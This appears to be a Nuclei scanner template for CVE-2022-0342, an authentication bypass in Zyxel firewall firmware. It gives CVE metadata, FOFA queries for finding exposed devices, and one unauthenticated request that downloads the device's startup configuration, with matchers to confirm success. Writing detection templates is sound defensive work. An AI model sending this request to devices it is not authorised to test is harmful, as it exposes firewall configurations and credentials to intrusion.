56 lines
2.1 KiB
YAML
56 lines
2.1 KiB
YAML
id: CVE-2022-0342
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info:
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name: Zyxel - Authentication Bypass
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author: SleepingBag945,Powerexploit
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severity: critical
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description: |
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An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.
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reference:
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- https://github.com/gobysec/GobyVuls/blob/master/CVE-2022-0342.md
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- https://nvd.nist.gov/vuln/detail/CVE-2022-0342
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- https://www.zyxel.com/support/Zyxel-security-advisory-for-authentication-bypass-vulnerability-of-firewalls.shtml
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- https://github.com/f1tao/awesome-iot-security-resource
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- https://github.com/murchie85/twitterCyberMonitor
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-0342
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cwe-id: CWE-287
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epss-score: 0.08015
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epss-percentile: 0.94281
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cpe: cpe:2.3:o:zyxel:usg40_firmware:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: zyxel
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product: usg40_firmware
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fofa-query:
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- body="/2FA-access.cgi" && body="zyxel zyxel_style1"
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- body="/2fa-access.cgi" && body="zyxel zyxel_style1"
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tags: cve2022,cve,zyxel,auth-bypass,router
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http:
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- method: GET
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path:
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- "{{BaseURL}}/cgi-bin/export-cgi?category=config&arg0=startup-config.conf"
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "interface-name"
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- "saved at"
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condition: and
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- type: word
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part: header
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words:
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- "text/zyxel"
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- "attachment; filename="
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condition: and
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- type: status
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status:
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- 200
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# digest: 4a0a0047304502206fae7bc55274609f066f21992f0eaa76d7bfdf965e2845acf950d1b779aa078c022100b735c8d363b276e112c6f7f45d7b6517aaf1ffa5e8111c20f217db71a159acec:922c64590222798bb761d5b6d8e72950 |